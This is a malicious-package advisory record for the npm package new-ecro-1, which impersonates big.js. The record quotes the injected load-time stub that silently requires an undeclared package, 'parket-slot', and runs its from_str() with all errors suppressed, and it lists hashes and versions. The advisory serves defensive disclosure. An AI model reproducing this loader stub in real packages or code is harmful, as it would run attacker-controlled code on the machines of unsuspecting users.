mal-2026-6198
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (0c4e172aa83f2b8742fb014ea649490c87815573cab692ea74eb402ee23f935c)
Package new-ecro-1 impersonates the legitimate big.js library by shipping its source verbatim (banner, license, and homepage pointing at MikeMcl/big.js). Inside the load-time IIFE in both big.js and big.mjs at line 606, an injected block silently executes const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}), wrapped in a try/catch that swallows all errors. The parket-slot package is not declared in this manifest's dependencies (which instead lists new-solt-1), so the require resolves to whatever loader-controlled package happens to be present in the surrounding install tree, executing its from_str() on import. The combination of name-impersonation, undeclared cross-package require, and silent error suppression is a loader stub for attacker-controlled code that runs the moment any consumer imports this module.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "eb6ce18afdacb4c6b3eb97521184a1330adcab077dcb12f5342ed2ee3a49447c",
"tlsh": "ebc2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"
}
],
"package_integrity": [
{
"filename": "new-ecro-1-0.3.9.tgz",
"hashes": {
"sha1": "fcb596e099fc0856a0217a3bf6554aba25824ea0",
"sha512_sri": "sha512-1vRDxfgRZyrpvnERul7HaYJcTb/HW4m5Yz8r6HsroDzvlN4SNN8TE+jfhdrBO6JjzdfS840tSoFbj81X4TFw1w=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "new-ecro-1"
},
"versions": [
"0.3.9",
"0.1.9"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007060",
"import_time": "2026-06-19T07:17:16.909021254Z",
"modified_time": "2026-06-19T05:20:04Z",
"sha256": "01b0b55fd906ade779ab708144b0becba338debc03c56a2fe0b6468b1d12808e",
"source": "amazon-inspector",
"versions": [
"0.3.9"
]
},
{
"id": "IN-MAL-2026-007061",
"import_time": "2026-06-19T07:17:16.967727952Z",
"modified_time": "2026-06-19T05:20:05Z",
"sha256": "0c4e172aa83f2b8742fb014ea649490c87815573cab692ea74eb402ee23f935c",
"source": "amazon-inspector",
"versions": [
"0.1.9"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0c4e172aa83f2b8742fb014ea649490c87815573cab692ea74eb402ee23f935c)\nPackage `new-ecro-1` impersonates the legitimate `big.js` library by shipping its source verbatim (banner, license, and homepage pointing at MikeMcl/big.js). Inside the load-time IIFE in both `big.js` and `big.mjs` at line 606, an injected block silently executes `const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e {}).catch(e =\u003e {})`, wrapped in a try/catch that swallows all errors. The `parket-slot` package is not declared in this manifest\u0027s `dependencies` (which instead lists `new-solt-1`), so the require resolves to whatever loader-controlled package happens to be present in the surrounding install tree, executing its `from_str()` on import. The combination of name-impersonation, undeclared cross-package require, and silent error suppression is a loader stub for attacker-controlled code that runs the moment any consumer imports this module.\n",
"id": "MAL-2026-6198",
"modified": "2026-06-19T07:18:54Z",
"published": "2026-06-19T05:20:04Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/new-ecro-1/v/0.3.9"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/new-ecro-1/v/0.1.9"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in new-ecro-1 (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.